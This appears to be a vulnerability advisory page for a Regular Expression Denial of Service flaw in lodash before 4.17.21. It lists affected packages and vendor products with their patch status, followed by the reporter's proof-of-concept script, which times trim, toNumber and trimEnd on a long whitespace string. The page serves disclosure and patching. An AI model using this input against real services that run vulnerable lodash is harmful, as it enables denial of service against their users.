| Package | Affected versions | Patched versions |
|---|
| lodash-rails RubyGems | ≥ 4.0.0, < 4.17.21
| 4.17.21
|
| lodash | < 4.17.21
| 4.17.21
|
| banking corporate lending process management | = 14.2.0= 14.3.0= 14.5.0
| No fix yet |
| banking credit facilities process management | = 14.2.0= 14.3.0= 14.5.0
| No fix yet |
| banking extensibility workbench | = 14.2.0= 14.3.0= 14.5.0
| No fix yet |
| banking supply chain finance | = 14.2.0= 14.3.0= 14.5.0
| No fix yet |
| banking trade finance process management | = 14.2.0= 14.3.0= 14.5.0
| No fix yet |
| communications cloud native core policy | = 1.11.0
| No fix yet |
| communications design studio | = 7.4.2
| No fix yet |
| communications services gatekeeper | = 7.0
| No fix yet |
| communications session border controller | = 8.4= 9.0
| No fix yet |
| enterprise communications broker | = 3.2.0= 3.3.0
| No fix yet |
| financial services crime and compliance management studio | = 8.0.8.2.0= 8.0.8.3.0
| No fix yet |
| health sciences data management workbench | = 2.5.2.1= 3.0.0.0
| No fix yet |
| jd edwards enterpriseone tools | < 9.2.6.1
| 9.2.6.1
|
| peoplesoft enterprise peopletools | = 8.58= 8.59
| No fix yet |
| primavera gateway | ≥ 17.12.0, ≤ 17.12.11≥ 18.8.0, ≤ 18.8.12≥ 19.12.0, ≤ 19.12.11≥ 20.12.0, ≤ 20.12.7
| No fix yet |
| primavera unifier | = 18.8= 19.12= 20.12≥ 17.7, ≤ 17.12
| No fix yet |
| retail customer management and segmentation foundation | = 19.0
| No fix yet |
| sinec ins | = 1.0< 1.0
| 1.0
|
| lodash npm | ≥ 4.0.0, < 4.17.21
| 4.17.21
|
| lodash-es npm | ≥ 4.0.0, < 4.17.21
| 4.17.21
|
| lodash.trim npm | ≥ 4.0.0, ≤ 4.5.1
| No fix yet |
| lodash.trimend npm | ≥ 4.0.0, ≤ 4.5.1
| No fix yet |
Description
All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.
Steps to reproduce (provided by reporter Liyuan Chen):
var lo = require('lodash');
function build_blank(n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "1";
}
var s = build_blank(50000) var time0 = Date.now();
lo.trim(s)
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0);
var time1 = Date.now();
lo.toNumber(s) var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1);
var time2 = Date.now();
lo.trimEnd(s);
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2);
NVD description
Lodash versions prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free